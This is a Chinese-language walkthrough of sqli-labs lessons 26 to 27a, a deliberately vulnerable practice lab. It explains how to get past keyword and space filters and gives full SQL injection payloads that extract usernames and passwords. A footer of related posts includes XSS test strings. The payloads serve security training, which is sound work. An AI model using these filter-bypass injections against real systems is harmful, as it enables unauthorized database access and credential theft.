sqli-labs lesson 26-27a
less 26:
因为本关在windows上运行可能会出现字符转义(apacche下空格无法转义)错误,所以在docker上搭建好sqli-labs
在win2003上远程登录sqli-labs
先执行?id=1' 出现报错 ,可能存在注入漏洞
观察源码:可以看后面的注释,把or and /* 等等注释符都替换了

这里可以使用报错注入,注意or和空格是会被preg_replace函数删除掉,所以or要双写,
空格用()或者url编码代替
例如:
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=0x7573657273)),0x7e),1);%00
这里需要空格隔开的字符串都用括号包裹了起来,0x7573657273='users'

但是这里group_concat不可以取出所有的值,所以最后爆字段值的时候
可以用id=x挨个取字段值:
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(concat_ws('-',username,passwoorrd)))from(security.users)where(id=1)),0x7e),1);%00
上面都是因为不能使用空格使用括号包裹的思路,下面演示用字符替换空格的思路
关于可以替换空格的编码字符:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
执行:?id=1'%a0oorrder%a0by%a03;%00 页面正常显示

那么说明可以像less 1一样构造联合查询语句。
less 26a
关于本关 id是被('')包裹,所以注意闭合,例如:?id=1')%a0oorrder%a0by%a03||('1')=('1
再有就是注意26a关,关闭了错误提示,不能再使用报错注入

less 27
观察源码:



第1个信息就是id被单引号包裹
第2个信息有错误提示
第3个信息与less26a相比 新增了首字母大写、全小写、全大写的union和select注释
但是mysql不区分大小写,所以空格用%a0替换 union改为uNion,select改为sElect即可
第二种方法:报错注入
原理都类似,下面给一个payload
?id=1'%a0||updatexml(1,concat(0x7e,(SElecT%a0(concat_ws('~',username,password))from%a0users%a0limit%a00,1),0x7e),1)||%a0'1'='1

其余的payload均可参考此例构造
less 27a
与27区别在于 本关为双引号包裹 还是注意union select分开大小写即可
构造联合查询语句 就轻松破解
sqli-labs lesson 26-27a的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Lesson 26 The best art critics
Text I am an art student and I paint a lot of pictures. Manay people pretend that they understand mo ...
随机推荐
- php漏洞 strcmp漏洞
0x01: 背景:strcmp函数,参数是两个字符串,相等返回为零,大于,返回大于零,小于,返回小于零. 0x02: 如果传入的值,不是字符串的话,会报错,同时使得两个字符串直接相等,返回为零. 一般 ...
- 测试管理工具 - Tuleap部署和安装使用教程
安装 通过CentOS的安装,非常简单,命令直接为pip install tuleap 部署 登录管理员权限 登录名为中文名拼音,如wuweiping. 设置的默认密码为12345678,也可以进入配 ...
- C语言:printf*("%x")
#include <stdio.h> int main(){ int a = 100; char str[20] = "hello world!"; char *zza ...
- 从sql2008导入表结构及数据到mysql
打开navicat for mysql连接mysqlcreate database lianxi刷新,双击lianxi,双击"表"点击右边的"导入向导"选择&q ...
- Java基础00-数据输入5
1. 数据输入 1.1 数据输入概述 我们需要的数据(比如账号密码)并不是一开是就有的,而是要输入的. 1.2 Scanner使用的基本步骤 1.3 案例
- java使用IO读写文件
https://www.cnblogs.com/qiaoyeye/p/5383723.html java读写文件的IO流分两大类,字节流和字符流,基类分别是字符:Reader和Writer:字节:In ...
- 【有奖互动】HMS Core. Sparkle游戏应用创新沙龙,诚邀您参与
活动简介 随着互联网基础设施的完善和"宅经济"效应凸显,游戏行业逆势上扬,迎来巨大消费市场.同时,用户需求愈加多样化,如何进一步创新和技术升级.提升核心竞争力已成为游戏开发与运营的 ...
- React组件三大属性之 refs
React组件三大属性之 refs refs属性 1) 组件内的标签都可以定义ref属性来标识自己 a. <input type="text" ref={input => ...
- odoo里的rpc用法
import odoorpcdb_name = 'test-12'user_name = 'admin'password = 'admin'# Prepare the connection to th ...
- xss常见方式
1.<script>alert(1)</script> 2.源码第一个,[<]被转义,因此在第二个里 "><script>alert(1)&l ...